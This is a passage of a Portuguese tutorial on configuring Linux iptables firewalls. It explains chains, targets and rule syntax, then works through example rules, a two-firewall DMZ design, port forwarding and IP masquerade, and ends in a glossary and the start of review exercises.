tabela de roteamento. 4->5 - Pacote local enviado de acordo como a tabela de roteamento. 4->3->2 - Pacote sai e entra na prpria mquina, este percurso caracaterstico da interface de loopback. iptables

O iptables a ferramenta que devemos utilizar para fazer filtragem de pacotes no kernel 2.4. Para que o um pacote seja aceito ou reencaminhado, este dever satisfa zer todas as regras do iptables, pois, caso contrrio, o pacote ser descartado. O iptables tambm chamado de Netfilter aplica suas regras de acordo com o trajeto do pacote. O conjunto de regras aplicada a determinada etapa do trajeto do pacot e chamado de cadeia. O iptables tambm implementa o conceito sobre tabelas, sendo que para cada tipo de tabela pode ser aplicada determinadas cadeias, vejamos quais so essas relaes: Tabela filter nat mangle Iptables Cadeias INPUT, FORWARD e OUTPUT PREROUTING, POSTROUTING e OUTPUT PREROUTING e OUTPUT

Para implementar o firewall devemos utilizar a tabela filter e adicionar as regr as de acordo com as cadeias INPUT, FORWARD e OUTPUT, est tabela utilizada por pad ro, para usar outras utilize a opo -t. A cadeia determina em qual estgio do trajeto do pacote as regras sero aplicada. Por meio da fig. 3 podemos definir: INPUT - Cadeia relacionada ao trajeto 2, ou seja, as regras somente aplicada aos pacotes que tenham destino mquina local. FORWARD - Cadeia relacionada ao trajeto 3, onde as regras so aplicadas ao pac otes que so reencaminhados ou seja roteado pelo firewall. OUTPUT - Cadeira relacionada ao trajeto 4, em que as regras so aplicadas ao p acotes que saem da mquina local. Nota: As definies apresentadas acima so pertinentes apenas ao iptables, o ipfwadm e o ipchains trabalham com algumas diferenas. Para o ipchains, a regra INPUT aplic ada no trajeto 1, a regra FORWARD aplicada no trajeto 3 e a regra OUTPUT aplicad a ao trajeto 5. Isto muda consideravelmente a forma de utilizao desta cadeias para implementar um firewall. Vejamos como o pode ser resumido o trajeto do pacote frente as cadeias do iptabl es. PROCESSAMENTO LOCAL INPUT(2) OUTPUT(4) (1) (3) (5) ----->CHECKSUM------->SANITY------DEC. ROT. ------FORWARD-----DEC. ROT. -------> Checksum um teste de integridade que verifica se o pacote no est corrompido, caso esteja ele ser descartado. Sanity tem a funo de descartar pacotes invlidos, algumas construes de pacotes podem enganar as regras de checagem. Para cada regra aplicada deve-se especificar o alvo[target]. a partir desta regr a que podemos liberar ou negar um determinado pacote. Vejamos os principais alvo s: DROP: O pacote rejeitado pela cadeia e nenhuma mensagem ICMP enviada. ACCEPT: O pacote aceito pela cadeia e continua em seu trajeto. REJECT: O pacote rejeitado pela cadeia e mensagens ICMP sero retonadas. MASQUERADE: utilizado com funo de mascaramento de endereo IP. utilizado apenas na tabela nat junto com a cadeira POSTROUTING.

Como utilizar o iptables hand A sintaxe do iptables pode ser definida da seguinte maneira: #iptables <comando> <regras> <extenses> <opes> 7.1 Comandos Os comandos so parmetros do iptables utilizado para manipular as regras como: remo ver, adicionar, substituir, etc. Entre os principais comando podemos definir: -A : Adiciona regras ao final da cadeia . -D : Remove regras da cadeia . -R : Sustitui a regra da cadeia pela nova regra dada. -F : Remove todas as regras da cadeia . -L : Lista as regras da cadeia . -P : Muda a poltica padro de uma cadeia. As polticas so ACCEPT, DROP, QUEUE e RE TURN. Por padro todas as cadeias utilizam poltica ACCEPT, caso seja alterado a cad eia INPUT para DROP todos os pacotes com destino mquina local ser descartado. Nota: Todos os comandos acima podem ser executados para qualquer tabela do iptab les deste que seja fornecido o nome da cadeia por meio da opo -t. Exemplo: queremo s remover uma regra da tabela nat, o comando ficar da seguinte forma: iptables -D -t nat 7.2 Regras As regras tem o papel de caracterizar o pacote e determinar o tratamento que dev e ser dado a ele por meio do alvo. Vejamos as principais regras: -p [!] : Define o protocolo cuja regra se aplica. Voc poder utilizar tanto nom es quanto nmeros sendo que estes dados esto disponveis no arquivo /etc/protocols. -s [!]<endereo[/mask]> : Determina o endereo de origem do pacote pelo qual a r egra se aplica. Pode ser utilizado tanto endereo IP de host, como endereo de rede. Para o ltimo caso deve ser especificado a mscara. -d [!]<endereo[/mask]> : Determina o endereo de destino do pacote pelo qual a regra se aplica. Pode ser utilizado tanto endereo IP de host, como endereo de rede . Para o ltimo caso deve ser especificado a mscara. -i [!] : Esta regra define a interface de rede em que o pacote ser recebido. -o [!] : Utilizada para definir a interface de rede pelo qual o pacote ser tr ansmitido. -j : Determina a ao a ser tomado no pacote. O alvo pode ser ACCEPT, DROP, QUEU E ou RETURN. Nota: A opo ! significa excesso, ou seja a regra -s 10.1.0.1 . Todas as mquinas que tiverem endereo de origem se aplica a regra., exceto a mquina 10.1.0.1. Extenses

As extenses so utilizadas para caracterizar ainda mais o pacote pelo qual se desej a aplicar a regra. As extenses so definidas por meio do protocolo utilizado. Sendo que algumas extenses so particulares para alguns protocolos. Sempre que se deseja r utilizar uma extenso necessrio definir, por meio das regras, o protocolo utiliza do. Protocolo TCP e UDP: --sport [!] <porta[:porta]> : Esta extenso a mesma que --source-port. A parti r desta extenso possvel especificar a porta de origem cuja regra se aplica. Tambm p ossvel especificar uma faixa de nmero de porta de origem como por exemplo: --sport 0:1024. Este exemplo relaciona as 1025 portas de origem que vo desde 0 at 1024. --dport [!] <porta[:porta]> : Esta extenso a mesma que --destination-port. A partir desta extenso possvel especificar a porta de destino cuja regra se aplica. Tambm possvel especificar uma faixa de nmero de porta de destino como por exemplo: --sport 1025:3128. Este exemplo relaciona as portas que vo desde 1025 at 3128. Nota: Os campos de definio de nmeros portas podem ser omitidos segundo a regra: Ao omitir o campo a esquerda do : este campo ser considerado 0(zero), ao omitirmos o c ampo a direita do : este campo ser considerado 65535. Que so respectivamente o menor e maior nmero de porta. Logo, ao utilizar uma extenso do tipo -sport 1024: , isto significa uma faixa de nmero de porta de origem que vai de 1024 at 65535. Se for utilizado --dport :1024, a faixa correspondente de nmero de porta ser de 0 at 1024. Protocolo ICMP: --icmp-type [!] : Determina as mensagens ICMP - ping e pong por exemplo - po der ser aplicado regra. Os possveis so mostrado atravs do comando: iptables -p icmp -h. 7.3 Opes Vejamos quais as principais opes podem ser utilizadas: -n : Geralmente utilizada com o comando -L. Com est opo o iptables no ir tentar r esolver endereo IP para nome de host. Logo, a apresentao da sada do comando ser mais rpida. -v : Est opo apresenta uma sada mais detalhada, ou seja, mais explicativa. Alguns exemplos de utilizao do iptables Neste tpico ser apresentado alguns comandos para que o leitor comee a se familiariz ar com o iptables. Procure tambm relacionar os exemplos com as sintaxe apresentad a acima, isto facilita o leitor a compreender e elaborar suas prprias regras. #iptables -L Chain INPUT (policy ACCEPT) target prot opt source Chain FORWARD (policy ACCEPT) target prot opt source Chain OUTPUT (policy ACCEPT) target prot opt source

destination destination destination

O comando acima utilizado para listar as regras que esto definidas em memria. Obse rve que todas as cadeias esto como poltica de ACCEPT. A sada deste comando apresent a a configurao da tabela filter, para selecionar a outra tabela, execute:

#iptables -t nat -L Chain PREROUTING (policy ACCEPT) target prot opt source Chain POSTROUTING (policy ACCEPT) target prot opt source Chain OUTPUT (policy ACCEPT) target prot opt source

destination destination destination

Neste comando selecionamos a tabela nat. Em ambas as sadas apresentada acima nenh uma regra ainda est implementada. Nota: Lembre-se que para o Linux trabalhar como firewall a tabela a ser usada a filter. Portanto, os prximos exemplos sero baseados nesta tabela. A cadeia INPUT Nesta seo esto apresentadas alguns exemplos de aplicao do iptables na cadeia INPUT. A cadeia INPUT usada quando precisamos necessariamente proteger a entrada de paco tes na mquina local. Pois uma cadeia que trata o processamento do pacote local. hand O exemplo que se segue muda a poltica de uma cadeia, vejamos: #iptables -P INPUT DROP O exemplo muda a poltica da cadeia INPUT para DROP. Portanto, qualquer pacote que tenha como destino esta mquina, ser negado. Para testar, tente executar: ping loc alhost. hand Veja como ficou a nova sada da tabela filter do iptables. #iptables -L Chain INPUT (policy DROP) target prot opt source Chain FORWARD (policy ACCEPT) target prot opt source Chain OUTPUT (policy ACCEPT) target prot opt source

destination destination destination

hand Observe a nova configurao da cadeia INPUT. Para voltar a configurao anterior, e xecute: #iptables -P INPUT ACCEPT Nos prximos exemplos estamos considerando que todas as cadeias esto com polticas pa dres, ou seja, todas com ACCEPT. At agora somente foram executados comandos do tipo: iptables . A partir de agora comearemos a utilizar: iptables . hand Veja o primeiro exemplo: #iptables -A INPUT -p icmp -j DROP Neste exemplo possvel notar o -A INPUT que utilizado para adicionar uma nova regr a. Esta regra definida atravs de -p icmp -j DROP. A regra est aplicada ao protocol

o ICMP e o alvo est definido para descartar o pacote. Logo, podemos concluir que todo pacote ICMP que tiver destino para esta mquina ser descartado. hand Sempre que for adicionado uma nova regra interessante listar as regras da t abela iptables. #iptables -L INPUT Chain INPUT (policy ACCEPT) target prot opt source DROP icmp -- anywhere

destination anywhere

De acordo com a sada do comando pode ser observado que a regra foi aplicada a qua lquer endereo de origem e destino. Para remover est regra, repita o comando substi tuindo o parmetro -A por -D, ento: #iptables -D INPUT -p icmp -j DROP Nota: Sempre que for para o prximo exemplo remova todas as regras e utiliza a polt ica padro ACCEPT. Caso contrrio, os exemplos anteriores iro influenciar os resultad os dos novos. hand O prximo exemplo utiliza de 3 regras: -p tcp, -s 10.1.0.1 e -j DROP e uma ex tenso --dport, veja: #iptables -A INPUT -p tcp -s 10.1.0.1 --dport 80 -j DROP Este comando no permite que a mquina de origem 10.1.0.1 acesse a porta 80 desta mqu ina por meio do protocolo tcp. Nota: Toda vez que omitido qualquer regra ou extenso, a regra explcita aplicada a qualquer destino, qualquer porta, qualquer origem e qualquer protocolo que no foi definido explicitamente. Quando usarmos o termo desta mquina estamos fazendo refern cia mquina local onde foram executados os comandos. hand O prximo comando equivalente ao comando anterior: #iptables -A INPUT -p tcp -s 10.1.0.1 -d 0.0.0.0/0 --dport 80 -j DROP Quando utilizado 0.0.0.0/0 significa qualquer IP de qualquer rede. Ento pergunto: conveniente afirmar que, a partir do exemplo acima, a mquina 10.1.0.1 no poder ace ssar a porta 80 de qualquer mquina? No conveniente, pois a regra INPUT s aplicada q uando o pacote tiver que ser processado localmente. Caso o destino seja a outra mquina, a regra dever ser aplicada na cadeia FORWARD. Agora responda a segunda per gunta: Quando utilizamos a cadeia INPUT no necessrio utilizar a regra -d pois o de stino sub-entendendido como local? Errado, pois sua mquina poder ter vrias interfac e de rede e de acordo com o tipo de configurao ser necessrio especificar uma. Nota: Se a opo --dport 80 fosse omitida, a regra seria aplicada a todas as portas de destino. Observe que a porta de origem foi realmente omitida, ento todas as po rtas de origem esto aplicadas regra. hand O prximo comando implementa a combinao de mais algumas extenses: #iptables -A INPUT -p udp -s 10.1.0.2 --sport :1024 --dport 53 -j DROP Este comando no permite que a mquina de origem 10.1.0.2 acessse a porta 53 desta mq uina a partir de porta inferiores a 1024. hand Para remover todas as regras de todas as cadeias:

#iptables -F A cadeia FORWARD A cadeia FORWARD utilizada quando se deseja filtrar pacotes que trafegam de uma rede para outra, ou seja, de uma rede interna para uma rede externa e vice-versa . Por meio desta cadeia, podemos permitir que uma pacote seja ou no roteado de ac ordo com suas caractersticas. Ento, a cadeia FORWARD utilizada necessariamente qua ndo a mquina um roteador entre a rede privada e pblica e deseja-se proteger a rede privada. hand O primeiro exemplo a ser tratado, est apresentado abaixo: #iptables -P FORWARD DROP Este exemplo altera a poltica da cadeia FORWARD. Assim, todo pacote que deveria s er reencaminhado - roteado - ser descartado. #iptables -L FORWARD Chain FORWARD (policy DROP) target prot opt source

destination

hand Da mesma forma que na cadeia INPUT, para retaurar configurao padro, deve-se ex ecutar: #iptables -P FORWARD ACCEPT Nota: Todos os prximos exemplos esto sendo considerado com politica padro igual a A CCEPT. hand O prximo comando similar ao exemplo apresentado na cadeia INPUT. #iptables -A FORWARD -p icmp -j DROP Neste exemplo somente os pacotes ICMP que deveriam ser reencaminhados sero descar tados. Os pacotes que sairem desta mquina ou tiverem destino para esta mquina sero aceitos. hand O prximo exemplo agrega mais alguns conceitos: #iptables -A FORWARD -p tcp -s 200.1.2.3 -d 200.4.5.6 --dport !80 -j DROP Este comando permite que todos os pacotes que tiverem endereo de origem 200.1.2.3 e destino 200.4.5.6 sero negados exceto os pacotes cuja porta de destino seja a porta 80. hand No prximo exemplo utilizado regras baseado em endereo de rede, vejamos: #iptables -A FORWARD -p tcp -s 200.1.2.0/24 -d 200.4.5.6 --sport 1024: --dport 2 2 -j ACCEPT Este comando pode ser analisado da seguinte forma: todo pacote que tiver origem a rede 200.1.2.0/24 e porta de origem acima de 1024 com endereo de destino 200.4. 5.6 e porta de destino 22 ser aceito. Nota: O ltimo exemplo tem alvo ACCEPT e poltica tambm ACCEPT(poltica adotada para os exemplos), portanto seria mais interessante que fosse negado os endereos que no c onvm para depois liberar os endereos necessrios. Entretanto, estes exemplos possuem apenas objetivos didticos. Ser visto mais a frente que para implementarmos um fir

ewall, primeiramente negado tudo e depois liberado apenas o que necessrio. A cadeia OUTPUT A cadeia OUTPUT utilizada quando desejvel filtrar as sadas de pacotes da mquina loc al. Assim como a cadeia INPUT, a cadeia OUTPUT tem a funo de proteger a mquina onde esto as regras do iptables. hand O primeiro exemplo faz referncia poltica desta cadeia: #iptables -P OUTPUT DROP O resultado deste comando pode ser entendido da seguinte forma: nenhum pacote po der sair desta mquina. Isto pode ser comprovado da seguinte maneira: tente pingar em outra mquina. O resultado est apresentado abaixo: #ping 10.1.0.2 ping: sendto: Operation not permitted ping: wrote 10.1.0.25 64 chars, ret=-1

No ser possvel pingar em outra mquina e at mesmo localmente. possvel ainda observar e outras mquinas no conseguiro enviar pacotes para voc, ou seja pingar em voc, isto que os pacotes TCP necessitam de confirmao de recebimento e como a poltica OUTPUT e st negada o pacote de confirmao no ir retornar no sendo possvel estabelecer comunica mesmo problema acontece com a cadeia INPUT, quando enviado um pacote, o retorno de confirmamento ser barrado na regra INPUT. hand Veja o prximo exemplo: #iptables -A OUTPUT -p icmp -d 10.1.0.2 -j DROP Este comando evita que esta mquina envie pacotes ICMP para mquina 10.1.0.2. Em con tra-partida, para todos os outros endereos podero ser enviados, desde que a poltica seja ACCEPT. A prxima combinao do iptables implementa uma extenso ICMP. Primeiramente devemos sab er qual o deve ser usado: #iptables -p icmp -h hand Ser aplicado para exemplo o seguinte : echo-reply conhecido como pong. #iptables -A OUTPUT -p icmp --icmp-type echo-reply -d 10.1.0.2 -j DROP Este exemplo permite que esta mquina pingue na mquina 10.1.0.2 enquanto a mquina 10.1 .0.2 no conseguir pingar nesta, sendo que todas as outras poder. Isto acontece porq ue o echo-reply conhecido como pong a resposta do ping implementado pelo echo-reques t. Ao ser utilizado a extenso ICMP, a regra aplicada apenas a uma funcionalidade do protocolo no restringindo todas. hand Agora o que acontecer se realizarmos o mesmo exemplo utilizando o echo-reque st. #iptables -A OUTPUT -p icmp -icmp-type echo-request -d 10.1.0.2 -j DROP

Este comando pode ser entendido da seguinte forma: esta mquina no poder pingar a mqui a 10.1.0.2, ao mesmo tempo que poder pingar qualquer outra. Neste caso a mquina 10.1 .0.2 poder pingar nesta normalmente. Nota: para no alterar os resultados, sempre remova as regras anteriores antes de

executar os novos exemplos. Segue abaixo o ltimo exemplo da cadeia OUTPUT: iptables -A OUTPUT -p udp -d 10.1.0.2 --sport 53 --dport 1024: -j ACCEPT Est regra permite que os pacotes de protocolo udp com destino 10.1.0.2, porta de origem 53 e porta de destino acima de 1024 seja enviado. Implementao de firewall utilizando rede perifrica - DMZ INTERNET FIREWALL REDE DMZ FIREWALL REDE INTERNA Caracterizao da arquitetura: Firewall 1: eth0: 200.1.1.1 Mscara 255.255.255.0 eth1: 200.1.2.1 Mscara 255.255.255.0 Servios Disponveis: Nenhum servio Finalidade: Filtrar os pacotes que trafegam entre a Internet e a rede DM Z. Rede DMZ: Rede 200.1.2.0/24. Comporta as trs mquinas: Firewall 2: eth0: 200.1.2.2 Mscara 255.255.255.0 eth1: 10.1.0.1 Mscara 255.255.255.0 Servios Disponveis Publicamente: Nenhum servio Servios Disponvel Internamente: Somente Proxy. Finalidade: prover acesso internet para rede interna. Est conectada nas d uas redes. Dama: eth0=200.1.2.3 Mscara 255.255.255.0 Servios Disponveis Publicamente: DNS, WWW e HTTPS Finalidade: Servidor Web e Servidor de Nomes Primrio Rei: eth0=200.1.2.4 Mscara 255.255.255.0 Servio Disponveis Publicamente: EMAIL e DNS Finalidade: Servidor de Email e Servidor de Nomes Secundrio Consideraes a serem feitas: O firewall_1 responsvel pela segurana da rede DMZ e consequentemente garante a segurana da rede interna. As regras aplicada no firewall_1 deve proteger a si mesmo e rede DMZ. Todas as mquinas da rede DMZ possuem endereo IP vlido e pode ser acessada diret amente da Internet desde que passe pelas regras do firewall. As mquinas rei, dama e firewall_2 compem a rede DMZ que dever ser filtrada pelo firewall_1. O firewall_1 dever limitar ao mximo os recursos disponveis para esta rede. O firewall_2 dever ter regras similares ao nosso primeiro exemplo de implemen

tao de firewall. A diferena deve-se ao fato de que, nesta configurao, o firewall_2 no ter nenhum servio disponvel publicamente. Neste exemplo ser dado nfase a configurao do firewall_1, pois um exemplo similar de configurao do firewall_2 j foi apresentado anteriormente. Logo, os comandos abaixo so pertinentes configurao do firewall_1. Alterao das polticas das cadeias hand #iptables -P INPUT DROP #iptables -P FORWARD DROP #iptables -P OUTPUT DROP Novamente devemos comear negando tudo e somente liberar o que for necessrio. Liberando o protocolo ICMP para prpria mquina firewall_1. hand #iptables -A INPUT -p icmp -j ACCEPT #iptables -A OUTPUT -p icmp -j ACCEPT Estas sero as nicas regras a serem liberadas para pacotes que so processados localm ente. Pois est mquina far apenas o servio de firewall. Portanto os prximos exemplo se aplicam somente cadeia FORWARD. Liberando o protocolo ICMP para a rede DMZ. hand #iptables -A FORWARD -p icmp -j ACCEPT Este comando permite que pacotes ICMP sejam reencaminhados da Internet para rede DMZ e vice-versa. Liberando consulta ao servio DNS da mquina dama:. #iptables -A FORWARD -p udp -d 200.1.2.3 --sport 1024: --dport 53 -j ACCEPT #iptables -A FORWARD -p udp -s 200.1.2.3 --sport 53 --dport 1024: -j ACCEPT O primeiro comando permite que pacotes com detino mquina dama com porta de destin o 53 originados por qualquer mquina de porta alta sejam reencaminhados. O segundo comando permite que pacotes de origem 200.1.2.3 e porta de origem 53 com destin o a qualquer mquina em suas portas altas sejam reencaminhados. O ltimo comando lib era a mquina dama para enviar o resultado da consulta para seus clientes. Nota: observe novamente a utilizao do protocolo UDP para o servio DNS. No h a necessi dade de liberar o protocolo TCP, pois o servidor secundrio e primrio se encontram na mesma rede e, para fazer a transferncia de zona, os pacotes no iro passar pelo f irewall. Permitindo a mquina dama fazer consultas a outros servidores DNS: #iptables -A FORWARD -p udp -s 200.1.2.3 --sport 1024: --dport 53 -j ACCEPT #iptables -A FORWARD -p udp -d 200.1.2.3 --sport 53 --dport 1024: -j ACCEPT O primeiro comando pode ser entendido como o pedido de consulta DNS a ser libera do para mquina 200.1.2.3. O segundo comando pode ser entendido como: a resposta d

a consulta pode ser entregue para mquina 200.1.2.3 que a dama. Liberando consulta ao servio WWW da mquina dama:. #iptables -A FORWARD -p tcp -d 200.1.2.3 --sport 1024: --dport 80 -j ACCEPT #iptables -A FORWARD -p tcp -s 200.1.2.3 --sport 80 --dport 1024: -j ACCEPT Aqui apresentado regras similares s regras do servio DNS modificando apenas a port a para 53 para porta 80. Com estas regras, a mquina estaria apta para ser servido r Web, no podendo ser cliente Web. Para ser cliente Web, os comandos do prximo ite m devem serem executados. Liberando a mquina dama para acessar outros servidores Web: #iptables -A FORWARD -p tcp -s 200.1.2.3 --sport 1024: --dport 80 -j ACCEPT #iptables -A FORWARD -p tcp -d 200.1.2.3 --sport 80 --dport 1024: -j ACCEPT Caso esta mquina seja exclusivamente servidor Web, no haver a necessidade de libera r acesso a Internet para ela. Quanto mais restritivo for, maior a segurana de sua mquina. Portanto, seria bastante interessante permitir apenas a mquina que faz pa pel de Proxy ter acesso a Internet. Mesmo por que as demais podem ter acesso a I nternet por meio dela. Nota: quando dito acesso a Internet estamos nos limitando apenas ao servio Web, e no ao conjunto de servios que a Internet dispe. Liberando consulta ao servio HTTPS da mquina dama: hand #iptables -A FORWARD -p tcp -d 200.1.2.3 --sport 1024: --dport 443 -j ACCEPT #iptables -A FORWARD -p tcp -s 200.1.2.3 --sport 443 --dport 1024: -j ACCEPT Estes comandos so equivalentes aos comandos do tpico 4 mudando somente a porta 80 para 443. Tem a funo de permitir a consulta de mquinas externa na mquina dama por me io de HTTPS - HTTP Security. Liberando a mquina dama para consultar outros servidores HTTPS hand #iptables -A FORWARD -p tcp -s 200.1.2.3 --sport 1024: --dport 443 -j ACCEPT #iptables -A FORWARD -p tcp -d 200.1.2.3 --sport 443 --dport 1024: -j ACCEPT Este comando tambm equivalente ao comandos do item 5 alterando apenas a porta par a 443. Tem a funo de permitir que a mquina possa acessar pginas web que utilizam de HTTPS. Nota: Alguns sites como https://www2.bancodobrasil.com.br/aapf/login.pbk exigem a utilizao do protocolo HTTPS, sendo necessrio liberar este tipo de pacote. A partir de agora as configuraes so aplicveis mquina rei. Liberando a mquina rei para receber Email: #iptables -A FORWARD -p tcp -d 200.1.2.4 --sport 1024: --dport 25 -j ACCEPT #iptables -A FORWARD -p tcp -s 200.1.2.4 --sport 25 --dport 1024: -j ACCEPT O primeiro comando permite que pacotes sejam enviados para mquina rei em sua port a 25, este comando permite o recebimento de email. O segundo comando permite a mq

uina rei confirmar o recebimento. Liberando a mquina rei para enviar email: #iptables -A FORWARD -p tcp -s 200.1.2.4 --sport 1024: --dport 25 -j ACCEPT #iptables -A FORWARD -p tcp -d 200.1.2.4 --sport 25 --dport 1024: -j ACCEPT O primeiro comando permite a mquina rei enviar pacotes para qualquer mquina. O seg undo comando habilita o retorno de pacote de confirmao de recebimento. Importante: Para habilitar o servio de DNS para mquina rei utilize os comandos do item 4 e 5, alterando apenas o endereo IP 200.1.2.3 para 200.1.2.4. Liberando acesso a Internet para mquina firewall_2 De acordo com a estrutura apresentada, a mquina firewall_2 no deve disponibilizar nenhum servio publicamente. Entretanto, esta mquina deve prover o servio de Proxy p ara rede interna. Para disponibilizar este servio, a nica necessidade desta mquina : acessar como cliente servios WWW e HTTPS que podem ser habilitados de acordo com os comandos dos itens 5 e 7 alterando apenas o IP 200.1.2.3 para 200.1.2.2, est es comandos esto apresentados abaixo: #iptables -A FORWARD -p tcp -s 200.1.2.2 --sport 1024: --dport 80 -j ACCEPT #iptables -A FORWARD -p tcp -d 200.1.2.2 --sport 80 --dport 1024: -j ACCEPT #iptables -A FORWARD -p tcp -s 200.1.2.2 --sport 1024: --dport 443 -j ACCEPT #iptables -A FORWARD -p tcp -d 200.1.2.2 --sport 443 --dport 1024: -j ACCEPT Os dois primeiros comandos liberam a mquina firewall_2 para acessar como cliente servidores WWW. Enquanto os dois ltimos comandos libera a mquina firewall_2 para a cessar servidores HTTPS. A configurao de regras no firewall_2 no ser apresentada aqui pelo fato de ser uma co nfigurao similar a apresentada no tpico 9 deste captulo. Existem muitas situaes adversas em que o leitor pode-se deparar. Estas situaes ir dep ender de suas necessidades. Entretanto, a combinao destes dois exemplos de estrutu ra de firewall fornecer, na maioria dos casos, a soluo para seu problema. Sempre si ga a regra: Limite ao mximo os recursos de rede que esto disponveis dos dois lados do firewall e principalmente no firewall. Redirecionamento de Porta - Port Forward A maioria dos modens ADSL possuem o recurso de redirecionamento de porta. Este r ecurso tem a finalidade de possibilitar que um servio de uma mquina na rede privad a seja disponvel publicamente. Isto possvel, porque os modens possuem endereos vlido s na Internet e redirecionam qualquer requisio em sua porta para uma outra porta d e uma mquina na rede interna com IP no vlido. Este redirecionamento externo para re de interna conhecido como NAT - Network Address Translation. Esta funcionalidade tambm possvel de ser efetuada no Linux. A diferena neste caso q ue o endereo IP vlido chega na mquina Linux e no no modem ADSL. Na maioria dos caso, esta necessidade surge quando possumos apenas um endereo vlido e queremos dividir os servios para uma quantidade X de mquina na rede privada. Vamos voltar ao exemplo de estrutura de firewall do tpico 9. E vamos supor que qu eremos redirecionar os email que chegam no firewall para a mquina 10.1.0.2 da red e Interna. fig. X. ilustrao do processo de redirecionamento de porta.

A partir da figura observado que todo pacote que chegar na porta 25 do firewall ser redirecionado para a porta 25 da mquina 10.1.0.2 da rede interna. hand Abaixo est apresentados os comandos que so necessrios para redirecionar a port a 25: #iptables -A FORWARD -i eth0 -o eth1 -p tcp --dport 25 -m state --state NEW,ESTA BLISHED,RELATED -j ACCEPT #iptables -A PREROUTING -t nat -p tcp -d 200.163.79.1 --dport 25 -j DNAT --to 10 .1.0.2:25 A partir destes dois comandos, todo pacote que tiver destino mquina 200.163.79.1 na porta 25 ser redirecionado para mquina 10.1.0.2 na porta 25. O primeiro comando garante que este pacote deva entrar pela interface eth0 e sair pela eth1. Nota: Para verses do kernel inferiores a 2.4, o redirecionamento de porta pode se r feito por meio das ferramentas: ipmasqadm e redir. Importante: Os comandos de redirecionamento possibilitam a mquina 10.1.0.2 recebe r email da Internet na rede interna. Entretanto, a mquina 10.1.0.2 no poder enviar email para Internet, pois no possue um endereo vlido. Para que isto seja possvel nec essrio utilizar um recurso chamado recurso IP masquerade, pois a maioria dos Proxie s no suportam SMTP. IP Masquerade O IP masquerade possibilita que mquinas com endereo no vlido acesse recursos na Inte rnet. O IP masquerade suporta a grande maioria de protocolo ao contrrio dos princ ipais Proxies.

Nota: Os conceitos, definies, funcionamento e implementaes do IP masquerade esto disp onveis em um dos livros desta srie. O livro chama-se Administrao de Redes Linux e apr senta comparaes do IP masquerade com o Proxy. Aqui ser apresentado alguns exemplo de utilizao do IP masquerade. Os exemplos so bas eados em algumas necessidades que o leitor pode estar passando ou pode passar fu turamente. O primeiro exemplo baseado em uma rede, em que se deseja oferecer todos os recur sos da Internet(FTP, SSH, WWW, etc) para rede Interna. hand Vejamos como isto possvel: #echo 1 > /proc/sys/net/ipv4/ip_forward #iptables -t nat -A POSTROUTING -s 10.1.0.0/16 -j MASQUERADE O primeiro comando para ativar o roteamento, caso j esteja ativo desconsidere. Es te comando deve ser executado no roteador/firewall da rede interna que possua IP vlido. O comando acima implementa o IP masquerade para rede 10.1.0.0/16. Se voc utiliza Proxy e necessita habilitar o IP masquerade, entretanto quer que a s mquinas sempre utilize Proxy para acessar a Internet(cliente WWW). A soluo : habil itar o IP masquerade, mas negar todos os pacotes que tenha porta de destino 80, veja: hand #iptables -t nat -A POSTROUTING -s 10.1.0.0/16 --dport !80 -j MASQUERADE

Este comando aplica o IP masquerade a todas as portas, exceto a porta 80 - Porta padro dos servidores Web. O IP masquerade apresentado acima resolve o problema de envio de email da mquina 10.1.0.2 utilizada no exemplo de redirecionamento de porta. Entretanto, permite que todas as mquinas utilize de praticamente todos os servios. Logo interessante h abilitar o IP masquerade apenas para mquina 10.1.0.2 e para a porta 25. O comando abaixo satifaz esta necessidade: hand #iptables -t nat -A POSTROUTING -s 10.1.0.2 --dport 25 -j MASQUERADE Assim, todo pacote que tiver origem 10.1.0.2 e porta de destino 25 ser mascarado para o endereo IP do roteador/firewall saindo para Internet. Enquanto, todas as o utras mquinas no tero nenhum recurso disponvel atravs do IP masquerade. Sempre antes de prover um recurso para rede interna atravs de IP masquerade, veri fique se o recurso est disponvel no roteador/firewall em que ser aplicado o IP masq uerade. Pois, pode haver regras de firewall que impea disponibilizar este recurso . Links Indicados http://www.netfilter.org - Este o site oficial do iptables. Este site dispon ibiliza a ltima verso do iptables/netfilter. O site tambm possui annios de segurana e documentao oficial do iptables. http://www.linuxdoc.org- Este site possue HOWTOs e FAQs sobre Firewall, IP m asquerade, Redirecionamento de porta, etc. http://www.fwtk.org - Site oficial da ferramenta FWTK - FireWall? Tool Kit que um conjunto de proxies de aplicativo que pode ser utilizado para implementao no Linux, estes conjunto de proxies a base do produto comercial Gauntlet e. O si te oferece download, documentao e FAQs. http://zelow.no/floppyfw - Este site disponibiliza o Floppyfw roteador/firew all que d boot em um kernel 2.2 por meio de um disquete de 1.44MB http://www.linuxrouter.org - Site do Linux Router Project - LRP - que desenv olve ferramentas para roteamento/firewall. Disponibiliza documentao, FAQ e downloa d. http://www.faqs.org/faqs/firewalls-faq - Um site de perguntas e resposta sob re firewalls. Terminologia utilizada Firewall - Definido como um conjunto de regras ou componentes com a finalida de de proteger uma rede interna de uma rede externa, traduzido como porta-cortafogo ou muro de fogo. NAT - Network Address Traslation - Tem a finalidade de disponibilizar um rec urso da rede Interna para Internet atravs de redirecionamento de Porta. IP masquerade - Tem a funo de compartilhar a Internet, disponibilizando recurs o da Internet para rede interna. Proxy - Traduzido como intermedirio ou procurador. Tem a funo de compartilhar a Internet assim como o IP masquerade, entretanto utiliza de conexes TCP para tal

objetivo. Packet filter - Termo utilizado para designar um firewall a nvel de pacote, o u seja, um filtro de pacotes. DMZ - De-Militarized Zone - que significa zona desmilitarizada, nome dado re gio que separa as Coreias do Norte e do Sul, tambm chamado de rede perifrica. Tem a funo de proporcionar uma maior segurana para rede privada, pois o invasor necessid a de passar por dois firewall antes de chegar a rede interna. Reencaminhamento de Pacote - Mesmo sentido que rotear pacote. IP vlido - Endereo IP utilizado na Internet, ou seja, IP que conecta uma mquina diretamente na Internet sem a necessidade de servios como IP masquerade ou Proxy . Tambm chamado de IP pblico IP no vlido - Endereo IP utilizado em redes privadas. Para que esta mquina acess e a Internet, ela precisa necessariamente de servios como: IP masquerade ou Proxy . Cadeia - O conjunto de regras aplicada a determinada etapa do trajeto de um pacote em uma mquina. Tabela - Determina a forma de aplicao do iptables, lembrando que o iptables no utilizado apenas para implementao de firewall. As tabelas podem ser filter, nat e mangle. Poltica - determina se a cadeia ir negar ou liberar o pacote por padro. Regras - conjunto de definies com a finalidade caracterizar o pacote a ser lib erado ou negado. Extenses - So regras particulares de protocolo com mesma finalidade tambm de ca racterizao do pacote. Port Forward - Tem o sentido de redirecionamento de Porta. Utilizando para d isponibilizar um recurso da rede Interna para Rede Externa. Exerccios de Reviso 1. Qual os conceitos e objetivos do firewall? Fale sobre 